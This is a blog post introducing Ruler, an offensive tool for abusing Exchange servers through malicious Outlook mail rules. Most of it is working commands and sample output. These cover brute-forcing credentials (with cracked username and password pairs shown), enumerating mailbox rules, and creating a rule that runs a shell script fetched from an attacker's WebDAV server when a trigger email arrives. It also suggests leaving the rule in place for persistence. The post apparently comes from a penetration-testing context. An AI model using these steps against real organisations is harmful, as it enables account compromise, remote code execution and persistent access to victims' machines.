Ruler - A Tool To Abuse Exchange Services

Wednesday, October 19, 2016


Ruler is a tool that allows you to interact with Exchange servers through the MAPI/HTTP protocol. The main aim is abuse the client-side Outlook mail rules as described in: Silentbreak blog

Silentbreak did a great job with this attack and it has served us well. The only downside has been that it takes time to get setup. Cloning a mailbox into a new instance of Outlook can be time consuming. And then there is all the clicking it takes to get a mailrule created. Wouldn't the command line version of this attack be great? And that is how Ruler was born.

The full low-down on how Ruler was implemented and some background regarding MAPI can be found in this blog post: SensePost blog

For a demo of it in action: Ruler on YouTube

What does it do?
Ruler has multiple functions and more are planned. These include
  • Enumerate valid users
  • View currently configured mail rules
  • Create new malicious mail rules
  • Delete mail rules
Ruler attempts to be semi-smart when it comes to interacting with Exchange and uses the Autodiscover service (just as your Outlook client would) to discover the relevant information.

Getting the Code
Ruler is written in Go so you'll need to have Go setup to run/build the project The first step as always is to clone the repo :
git clone https://github.com/sensepost/ruler.git
Or you can get it through Go:
go get github.com/sensepost/ruler
You can now run the app through go run if you wish:
go run ruler.go -h
Or build it (the prefered option):
go build

Interacting with Exchange
It is important to note that for now this only works with the newer MAPI/HTTP used for OutlookAnywhere. The older RPC/HTTP which MAPI replaces is not supported and may possibly not be supported.
As mentioned before there are multiple functions to Ruler. In most cases you'll want to first find a set of valid credentials. Do this however you wish, Phishing, Wifi+Mana or brute-force.

Brute-force for credentials
If you go the brute-force route, Ruler is your friend. It has a built-in brute-forcer which does a semi-decent job of finding creds.
./ruler -domain targetdomain.com -brute -usernames /path/to/user.txt -passwords /path/to/passwords.txt
You should see your brute-force in action:
./ruler -domain evilcorp.ninja -brute -usernames ~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

[*] Starting bruteforce
[x] Failed: cindy.baker:P@ssw0rd
[x] Failed: henry.hammond:P@ssw0rd
[x] Failed: john.ford:P@ssw0rd
[x] Failed: cindy.baker:August2016
[x] Failed: henry.hammond:August2016
[+] Success: john.ford:August2016
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: cindy.baker:Evilcorp@2016
[x] Failed: henry.hammond:Evilcorp@2016
[x] Failed: cindy.baker:3V1lc0rp
[x] Failed: henry.hammond:3V1lc0rp
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:Password1
[+] Success: cindy.baker:Password1
[x] Failed: henry.hammond:Password!2016
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:SensePost1
[x] Failed: henry.hammond:Lekker
[*] Multiple attempts. To prevent lockout - delaying for 0 minutes.
[x] Failed: henry.hammond:Eish
There are a few other flags that work with -brute These are:
  • -stop //stop on the first valid username:password combo
  • -delay //how long to wait between multiple password guesses
  • -attempts //how many attempts before we delay (attempts per user)
  • -insecure //if the Exchange server has a bad SSL cerificate
  • -v //be verbose and show failed attempts

The autodiscover service
While Ruler makes a best effort to "autodiscover" the necessary settings, you may still run into instances of it failing. The common causes are:
  • autodiscover deployed over http and not https (we default to https as this is more common)
  • No autodiscover DNS record
  • Authentication failing
If you encounter an Exchange server where the Autodiscover service is failing, you can manually specify the Autodiscover URL:
./ruler -url http://autodiscover.somedomain.com/autodiscover/autodiscover.xml
If you run into issues with Authentication (and you know the creds are correct), you can try and force the use of basic authentication with -basic

Display existing rules / verify account
Once you have a set of credentials you can target the user's mailbox. Here you'll need to know their email address (address book searching is in the planned extension).
./ruler -domain targetdomain.com -email user@targetdomain.com -user username -pass password -display
Output:
./ruler -domain evilcorp.ninja -user john.ford -pass August2016 -email john.ford@evilcorp.ninja -display -insecure

[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found:  https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja
[+] User DN:  /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[+] Mailbox GUID:  [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]
[*] Openning the Inbox
[+] Retrieving Rules
[+] Found 0 rules

Delete existing rules (clean up after yourself)
To delete rules, use the ruleId displayed next to the rule name (000000df1)
./ruler -domain targetdomain.com -email user@targetdomain.com -user username -pass password -delete 000000df1

Popping a shell
Now the fun part. Your initial setup is the same as outlined in the Silentbreak blog , setup your webdav server to host your payload.
To create the new rule user Ruler and:
./ruler -domain targetdomain.com -email user@targetdomain.com -user username -pass password -loc "\\\\yourserver\\webdav\\shell.bat" -trigger "pop a shell" -rule maliciousrule
The various parts:
  • -loc this is the location of your remote shell note the double slashes (or c:/Windows/system32/calc.exe)
  • -trigger the string within the subject you want to trigger the rule
  • -rule a name for your rule
Output:
[*] Retrieving MAPI info
[*] Doing Autodiscover for domain
[+] MAPI URL found:  https://mail.evilcorp.ninja/mapi/emsmdb/?MailboxId=7bb476d4-8e1f-4a57-bbd8-beac7912fb77@evilcorp.ninja
[+] User DN:  /o=Evilcorp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=beb65f5c92f74b868c138f7bcec7bfb8-John Ford
[*] Got Context, Doing ROPLogin
[*] And we are authenticated
[+] Mailbox GUID:  [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]
[*] Openning the Inbox
[*] Adding Rule
[*] Rule Added. Fetching list of rules...
[+] Found 1 rules
Rule: shell RuleID: 01000000127380b1
You should now be able to send an email to your target with the trigger string in the subject line. From testing the mailrule is synchronised across nearly instantaniously, so in most cases you should be able to get a shell almost immediatly, assuming outlook is open and connected.
Enjoy your shell and don't forget to clean-up after yourself by deleting the rule (or leave it for persistence).




Subscribe via e-mail for updates!